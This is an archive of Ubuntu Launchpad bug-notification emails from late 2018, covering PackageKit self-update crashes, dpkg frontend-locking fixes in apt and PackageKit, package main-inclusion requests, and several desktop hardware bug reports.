[=] Fatal error: E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem. [Test case] Upgrade packagekit using pkcon, make sure it does not "crash". [Regression potential] It could only lead to old packagekitd processes not restarting. packagekit will still be told to restart itself like before, the restart being added was unintended. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: KDE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-26 (69 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: packagekit 1.1.9-1ubuntu2.18.04.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-33.36-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-33-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1790613] Re: Regression: packagekit crashes updating itself to a new version
This bug was fixed in the package packagekit - 1.1.9-1ubuntu2.18.04.3 --- packagekit (1.1.9-1ubuntu2.18.04.3) bionic; urgency=medium * Pass --no-restart-after-upgrade to dh_installsystemd to avoid PackageKit restarting while upgrading under PackageKit (LP: #1790613) packagekit (1.1.9-1ubuntu2.18.04.2) bionic; urgency=medium * debian/patches/frontend-locking.diff: Implement frontend locking in a simple way. Will need some more work to upstream, and possibly some error checking. (LP: #1795614) * Bump libapt-pkg-dev build-dep to >= 1.6.5~ for frontend locking * debian/patches/aptcc-Fix-invalid-version-dereference-in-AptInf-prov.patch, aptcc-removing-duplicate-delete-call.patch: Fix invalid dereference and delete wrong (duplicate) "delete" statement in providesCodec (LP: #1790671) -- Julian Andres Klode Mon, 15 Oct 2018 15:46:47 +0200 ** Changed in: packagekit (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1790613 Title: Regression: packagekit crashes updating itself to a new version Status in packagekit package in Ubuntu: Fix Released Status in plasma-discover package in Ubuntu: Confirmed Status in packagekit source package in Bionic: Fix Released Status in plasma-discover source package in Bionic: Confirmed Bug description: [Impact] Bionic: 18.04 Version: 1.1.9-1ubuntu2 upgrading itself to 1.1.9-1ubuntu2.18.04.1 Updating with pkcon upgrade or plasma-discover crashes packagekit mid transaction, requiring user intervention on the command line. In plasma-discover the gui reports the crash briefly, but then stalls in apparent mid update, requiring the user to force close it and again resolve the issue on the command line. Example transactions: $ pkcon update Getting updates [=] Finished [=] Loading cache [=] Testing changes [=] Finished [ ] (0%) The following packages have to be updated: gir1.2-packagekitglib-1.0-1.1.9-1ubuntu2.18.04.1.amd64 GObject introspection data for the PackageKit GLib library libpackagekit-glib2-18-1.1.9-1ubuntu2.18.04.1.amd64Library for accessing PackageKit using GLib packagekit-1.1.9-1ubuntu2.18.04.1.amd64Provides a package management service packagekit-tools-1.1.9-1ubuntu2.18.04.1.amd64 Provides PackageKit command-line tools Proceed with changes? [N/y] y [=] Updating packages [=] Waiting for authentication[=] Loading cache [=] Running [=] Installing packages [ ] (80%) The daemon crashed mid-transaction! $ sudo apt-get upgrade E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem. and obviously after that doing anything meaningful with packagekit like installing a package fails $pkcon install kaffeine Resolving [=] Testing changes [=] Finished [ ] (0%) The following packages have to be installed: kaffeine-2.0.14-1.amd64versatile media player for KDE Proceed with changes? [N/y] y [=] Installing[=] Waiting for authentication[=] Waiting for package manager lock[=] Finished [=] Fatal error: E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem. [Test case] Upgrade packagekit using pkcon, make sure it does not "crash". [Regression potential] It could only lead to old packagekitd processes not restarting. packagekit will still be told to restart itself like before, the restart being added was unintended. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: KDE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-26 (69 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: packagekit 1.1.9-1ubuntu2.18.04.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-33.36-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-33-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sam
[Touch-packages] [Bug 1799913] [NEW] Unhandled lockdown error (-2) - iphone ios 12
You have been subscribed to a public bug: Hi! On Ubuntu 18.10 when I connect my iPhone 8Plus with the computer and click on the Documents in the file manager, I got this error: Unhandled lockdown error (-2). I attached a screenshot about this error. ** Affects: libimobiledevice (Ubuntu) Importance: Undecided Status: New ** Tags: bot-comment -- Unhandled lockdown error (-2) - iphone ios 12 https://bugs.launchpad.net/bugs/1799913 You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libimobiledevice in Ubuntu. -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795614] Update Released
The verification of the Stable Release Update for packagekit has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1795614 Title: packagekit frontend locking Status in packagekit package in Ubuntu: Fix Released Status in packagekit source package in Xenial: Fix Committed Status in packagekit source package in Bionic: Fix Released Status in packagekit source package in Cosmic: Fix Released Bug description: [SRU Notes] [rbasak] Requires apt 1.2.28 (Xenial) and 1.6.5 (Bionic), both of which are currently in proposed. Do not release to updates without releasing the newer apt first. [Impact] PackageKit needs an adjustment for frontend locking, so it does not release the frontend lock during dpkg invocations, but only the normal dpkg lock. Frontend locking prevents race conditions between multiple dpkg frontends, which can cause other frontends to be interrupted while they are installing stuff - the frontend loses the dpkg lock between dpkg runs and the system ends up in a partially configured state. See bug 1781169 for more details on frontend locking. [Test case] 1. Install a package 2. Modify prerm to sleep 3. Remove package via pkcon and check that packagekitd process holds lock-frontend and dpkg holds lock (we release lock by closing the lock files, so just check if the files are open). [Regression potential] Changing the code to call UnLockInner() vs UnLock() makes it do less steps and only release "lock" as before, and not "lock-frontend". That should not be causing any regressions. The patch also adds a call to LockInner() after the dpkg execution to make it reacquire "lock", this could fail. It should not have much impact however, as it only affects a single transaction AFAICT. It does reduce the risk of some frontend not implementing frontend locking from racing while we still hold the frontend lock, though. [Other info] This is part of a wider series of SRUs for frontend locking - dpkg (bug 1796081) - apt (bug 1781169) - python-apt (bug 1795407) - packagekit (bug 1795614) - unattended-upgrades (bug 1789637) - aptdaemon (no bug filed yet) Further details about frontend locking can be found in https://lists.debian.org/debian-dpkg/2017/01/msg00044.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1795614/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1790671] Re: /usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy
This bug was fixed in the package packagekit - 1.1.9-1ubuntu2.18.04.3
---
packagekit (1.1.9-1ubuntu2.18.04.3) bionic; urgency=medium
* Pass --no-restart-after-upgrade to dh_installsystemd to avoid PackageKit
restarting while upgrading under PackageKit (LP: #1790613)
packagekit (1.1.9-1ubuntu2.18.04.2) bionic; urgency=medium
* debian/patches/frontend-locking.diff:
Implement frontend locking in a simple way. Will need some more
work to upstream, and possibly some error checking. (LP: #1795614)
* Bump libapt-pkg-dev build-dep to >= 1.6.5~ for frontend locking
* debian/patches/aptcc-Fix-invalid-version-dereference-in-AptInf-prov.patch,
aptcc-removing-duplicate-delete-call.patch:
Fix invalid dereference and delete wrong (duplicate) "delete"
statement in providesCodec (LP: #1790671)
-- Julian Andres Klode Mon, 15 Oct 2018 15:46:47
+0200
** Changed in: packagekit (Ubuntu Bionic)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/1790671
Title:
/usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy
Status in packagekit package in Ubuntu:
Fix Released
Status in packagekit source package in Bionic:
Fix Released
Bug description:
[Impact]
pkcon what-provides and other tools querying codecs do not work, they crash
(unless you happen to be lucky with your apt cache). Also, cancalled
transactions crash as well, even if you're lucky with your apt cache, as the
"matcher" object is deleted twice.
There are two reasons: A duplicate delete statement in providesCodec
entered when cancelling the lookup, and a invalid pointer dereference
in there.
[Test case]
The daemon should not crash as below, but should print a useful message.
$ lxc launch -e ubuntu:bionic bbb
$ lxc exec bbb apt update
$ lxc exec bbb -- apt -y install packagekit
$ lxc exec bbb pkcon what-provides "gstreamer1.0(decoder-audio/ac3)"
[...] The daemon crashed mid-transaction!
(empty lxd container seems to be able to reproduce easily)
This only tests the pointer dereference, I don't have a test for the
duplicate. But the code is obviously correct:
for ... [
if (m_cancel) {
// here used to be "delete matcher" - that's deleted
break;
}
}
delete matcher;
That is, matcher is always deleted once now, and was always deleted
twice when cancelling before.
[Regression potential]
I don't think it's possible to have a regression here, given the nature of
the fix, but if there were one, we'd see different behavior in codec lookup.
For the duplicate delete on cancelled transactions, you'd be looking
at memory leaks if there were a regression.
[Other info]
The Ubuntu Error Tracker has been receiving reports about a problem regarding
packagekit. This problem was most recently seen with package version
1.1.10-1ubuntu2, the problem page at
https://errors.ubuntu.com/problem/46649a8a55e07e74b9d522c9bc9d71a74905ccc2
contains more details, including versions of packages affected, stacktrace or
traceback, and individual crash reports.
If you do not have access to the Ubuntu Error Tracker and are a software
developer, you can request it at http://forms.canonical.com/reports/.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790671/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795614] Re: packagekit frontend locking
This bug was fixed in the package packagekit - 1.1.9-1ubuntu2.18.04.3 --- packagekit (1.1.9-1ubuntu2.18.04.3) bionic; urgency=medium * Pass --no-restart-after-upgrade to dh_installsystemd to avoid PackageKit restarting while upgrading under PackageKit (LP: #1790613) packagekit (1.1.9-1ubuntu2.18.04.2) bionic; urgency=medium * debian/patches/frontend-locking.diff: Implement frontend locking in a simple way. Will need some more work to upstream, and possibly some error checking. (LP: #1795614) * Bump libapt-pkg-dev build-dep to >= 1.6.5~ for frontend locking * debian/patches/aptcc-Fix-invalid-version-dereference-in-AptInf-prov.patch, aptcc-removing-duplicate-delete-call.patch: Fix invalid dereference and delete wrong (duplicate) "delete" statement in providesCodec (LP: #1790671) -- Julian Andres Klode Mon, 15 Oct 2018 15:46:47 +0200 ** Changed in: packagekit (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1795614 Title: packagekit frontend locking Status in packagekit package in Ubuntu: Fix Released Status in packagekit source package in Xenial: Fix Committed Status in packagekit source package in Bionic: Fix Released Status in packagekit source package in Cosmic: Fix Released Bug description: [SRU Notes] [rbasak] Requires apt 1.2.28 (Xenial) and 1.6.5 (Bionic), both of which are currently in proposed. Do not release to updates without releasing the newer apt first. [Impact] PackageKit needs an adjustment for frontend locking, so it does not release the frontend lock during dpkg invocations, but only the normal dpkg lock. Frontend locking prevents race conditions between multiple dpkg frontends, which can cause other frontends to be interrupted while they are installing stuff - the frontend loses the dpkg lock between dpkg runs and the system ends up in a partially configured state. See bug 1781169 for more details on frontend locking. [Test case] 1. Install a package 2. Modify prerm to sleep 3. Remove package via pkcon and check that packagekitd process holds lock-frontend and dpkg holds lock (we release lock by closing the lock files, so just check if the files are open). [Regression potential] Changing the code to call UnLockInner() vs UnLock() makes it do less steps and only release "lock" as before, and not "lock-frontend". That should not be causing any regressions. The patch also adds a call to LockInner() after the dpkg execution to make it reacquire "lock", this could fail. It should not have much impact however, as it only affects a single transaction AFAICT. It does reduce the risk of some frontend not implementing frontend locking from racing while we still hold the frontend lock, though. [Other info] This is part of a wider series of SRUs for frontend locking - dpkg (bug 1796081) - apt (bug 1781169) - python-apt (bug 1795407) - packagekit (bug 1795614) - unattended-upgrades (bug 1789637) - aptdaemon (no bug filed yet) Further details about frontend locking can be found in https://lists.debian.org/debian-dpkg/2017/01/msg00044.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1795614/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799978] [NEW] Ubuntu 18.10 problem after lid close
Public bug reported: Hi, I recently upgraded my Dell 9360 to Ubuntu 18.10. Ever since I cannot login after I close the lid and reopen it. The screen is mostly black. See attached photos. There are also some graphical errors in the still working menues. My work around: Manually suspend the notebook and wake it up via power button. Then I get the regular login screen. This happens both on X and Wayland sessions. How can I debug further? Any help much appreciated. ** Affects: systemd (Ubuntu) Importance: Undecided Status: New ** Attachment added: "after wakup" https://bugs.launchpad.net/bugs/1799978/+attachment/5205451/+files/IMG_20181025_165633.jpg -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1799978 Title: Ubuntu 18.10 problem after lid close Status in systemd package in Ubuntu: New Bug description: Hi, I recently upgraded my Dell 9360 to Ubuntu 18.10. Ever since I cannot login after I close the lid and reopen it. The screen is mostly black. See attached photos. There are also some graphical errors in the still working menues. My work around: Manually suspend the notebook and wake it up via power button. Then I get the regular login screen. This happens both on X and Wayland sessions. How can I debug further? Any help much appreciated. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1799978/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799974] Re: [MIR] gupnp
** Changed in: gupnp (Ubuntu) Assignee: (unassigned) => Didier Roche (didrocks) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gupnp in Ubuntu. https://bugs.launchpad.net/bugs/1799974 Title: [MIR] gupnp Status in gupnp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re- promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries * Security There is an old CVE recorded/fixed https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2174 * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is used during build * Dependendies The package uses standard desktop libraries that are already in main * Standards compliance the package is using standard packaging (dh10), the standards-version is 4.2, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gupnp/+bug/1799974/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799977] [NEW] [MIR] gssdp
Public bug reported: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re-promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on gssdp * Security No CVE/known security issue * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is being used during build * Dependendies The package dependencies are in main * Standards compliance the package is using standard packaging (dh11), the standards-version is 4.1.1, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu ** Affects: gssdp (Ubuntu) Importance: Undecided Assignee: Didier Roche (didrocks) Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gssdp in Ubuntu. https://bugs.launchpad.net/bugs/1799977 Title: [MIR] gssdp Status in gssdp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re- promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on gssdp * Security No CVE/known security issue * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is being used during build * Dependendies The package dependencies are in main * Standards compliance the package is using standard packaging (dh11), the standards-version is 4.1.1, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gssdp/+bug/1799977/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799978] Re: Ubuntu 18.10 problem after lid close
** Attachment added: "graphical glitch" https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1799978/+attachment/5205452/+files/IMG_20181025_165730.jpg -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1799978 Title: Ubuntu 18.10 problem after lid close Status in systemd package in Ubuntu: New Bug description: Hi, I recently upgraded my Dell 9360 to Ubuntu 18.10. Ever since I cannot login after I close the lid and reopen it. The screen is mostly black. See attached photos. There are also some graphical errors in the still working menues. My work around: Manually suspend the notebook and wake it up via power button. Then I get the regular login screen. This happens both on X and Wayland sessions. How can I debug further? Any help much appreciated. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1799978/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
Please file an upstream bug at [1], Product: DRI, Component: DRM/amdgpu. [1] https://bugzilla.freedesktop.org -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in linux package in Ubuntu: Confirmed Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799977] Re: [MIR] gssdp
** Changed in: gssdp (Ubuntu) Assignee: (unassigned) => Didier Roche (didrocks) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gssdp in Ubuntu. https://bugs.launchpad.net/bugs/1799977 Title: [MIR] gssdp Status in gssdp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re- promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on gssdp * Security No CVE/known security issue * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is being used during build * Dependendies The package dependencies are in main * Standards compliance the package is using standard packaging (dh11), the standards-version is 4.1.1, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gssdp/+bug/1799977/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1796808] Re: frontend locking regression: dpkg::post-invoke scripts can't install packages
This bug was fixed in the package apt - 1.6.6
---
apt (1.6.6) bionic; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.6.5) bionic; urgency=medium
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
[ Julian Andres Klode ]
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
-- Julian Andres Klode Tue, 09 Oct 2018 12:16:51
+0200
** Changed in: apt (Ubuntu Bionic)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1796808
Title:
frontend locking regression: dpkg::post-invoke scripts can't install
packages
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt source package in Cosmic:
Fix Released
Bug description:
[Impact]
The switch to frontend locking in 1.2.28/1.6.5/1.7~ caused scripts registered
in
DPkg::Pre-Install-Pkgs
DPkg::Pre-Invoke
DPkg::Post-Invoke
To be run with the frontend lock held. This caused problems with some
installer packages like libdvd-pkg which install a locally built
package in such a hook.
To reduce the impact, a fix has been applied in 1.7.0 which exports
the DPKG_FRONTEND_LOCKED variable when running those scripts, allowing
dpkg to be run from those scripts.
[Test case]
Make sure that the test-frontend-lock test run by autopkgtest succeeds. This
checks that:
(1) the variable is correctly exported to those scripts
(2) the frontend lock is still held
(3) dpkg can be run from the post-invoke script
[Regression potential]
Depending on the script (for example, if the script starts a daemon manually
or something like that), DPKG_FRONTEND_LOCKED might leak to other processes
which might survive the apt call and thus revert surviving process to not using
frontend locking.
[Other info]
This fix is for backwards compatibility only. Starting with the dd cycle, it
will be dropped for the Pre-Install-Pkgs and Pre-Invoke scripts. Potentially
for post-invoke as well, if we find a better solution for it.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1796808/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795614] Re: packagekit frontend locking
This bug was fixed in the package packagekit - 0.8.17-4ubuntu6~gcc5.4ubuntu1.4 --- packagekit (0.8.17-4ubuntu6~gcc5.4ubuntu1.4) xenial; urgency=medium * debian/patches/frontend-locking.diff: Implement frontend locking in a simple way. Will need some more work to upstream, and possibly some error checking. (LP: #1795614) * Bump libapt-pkg-dev build-dep to >= 1.2.28~ for frontend locking -- Julian Andres Klode Tue, 02 Oct 2018 16:13:24 +0200 ** Changed in: packagekit (Ubuntu Xenial) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1795614 Title: packagekit frontend locking Status in packagekit package in Ubuntu: Fix Released Status in packagekit source package in Xenial: Fix Released Status in packagekit source package in Bionic: Fix Released Status in packagekit source package in Cosmic: Fix Released Bug description: [SRU Notes] [rbasak] Requires apt 1.2.28 (Xenial) and 1.6.5 (Bionic), both of which are currently in proposed. Do not release to updates without releasing the newer apt first. [Impact] PackageKit needs an adjustment for frontend locking, so it does not release the frontend lock during dpkg invocations, but only the normal dpkg lock. Frontend locking prevents race conditions between multiple dpkg frontends, which can cause other frontends to be interrupted while they are installing stuff - the frontend loses the dpkg lock between dpkg runs and the system ends up in a partially configured state. See bug 1781169 for more details on frontend locking. [Test case] 1. Install a package 2. Modify prerm to sleep 3. Remove package via pkcon and check that packagekitd process holds lock-frontend and dpkg holds lock (we release lock by closing the lock files, so just check if the files are open). [Regression potential] Changing the code to call UnLockInner() vs UnLock() makes it do less steps and only release "lock" as before, and not "lock-frontend". That should not be causing any regressions. The patch also adds a call to LockInner() after the dpkg execution to make it reacquire "lock", this could fail. It should not have much impact however, as it only affects a single transaction AFAICT. It does reduce the risk of some frontend not implementing frontend locking from racing while we still hold the frontend lock, though. [Other info] This is part of a wider series of SRUs for frontend locking - dpkg (bug 1796081) - apt (bug 1781169) - python-apt (bug 1795407) - packagekit (bug 1795614) - unattended-upgrades (bug 1789637) - aptdaemon (no bug filed yet) Further details about frontend locking can be found in https://lists.debian.org/debian-dpkg/2017/01/msg00044.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1795614/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1796808] Re: frontend locking regression: dpkg::post-invoke scripts can't install packages
This bug was fixed in the package apt - 1.2.29
---
apt (1.2.29) xenial; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.2.28) xenial; urgency=medium
[ Julian Andres Klode ]
* apt.conf.autoremove: Add linux-cloud-tools to list (LP: #1698159)
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
-- Julian Andres Klode Tue, 09 Oct 2018 12:35:03
+0200
** Changed in: apt (Ubuntu Xenial)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1796808
Title:
frontend locking regression: dpkg::post-invoke scripts can't install
packages
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt source package in Cosmic:
Fix Released
Bug description:
[Impact]
The switch to frontend locking in 1.2.28/1.6.5/1.7~ caused scripts registered
in
DPkg::Pre-Install-Pkgs
DPkg::Pre-Invoke
DPkg::Post-Invoke
To be run with the frontend lock held. This caused problems with some
installer packages like libdvd-pkg which install a locally built
package in such a hook.
To reduce the impact, a fix has been applied in 1.7.0 which exports
the DPKG_FRONTEND_LOCKED variable when running those scripts, allowing
dpkg to be run from those scripts.
[Test case]
Make sure that the test-frontend-lock test run by autopkgtest succeeds. This
checks that:
(1) the variable is correctly exported to those scripts
(2) the frontend lock is still held
(3) dpkg can be run from the post-invoke script
[Regression potential]
Depending on the script (for example, if the script starts a daemon manually
or something like that), DPKG_FRONTEND_LOCKED might leak to other processes
which might survive the apt call and thus revert surviving process to not using
frontend locking.
[Other info]
This fix is for backwards compatibility only. Starting with the dd cycle, it
will be dropped for the Pre-Install-Pkgs and Pre-Invoke scripts. Potentially
for post-invoke as well, if we find a better solution for it.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1796808/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1796808] Update Released
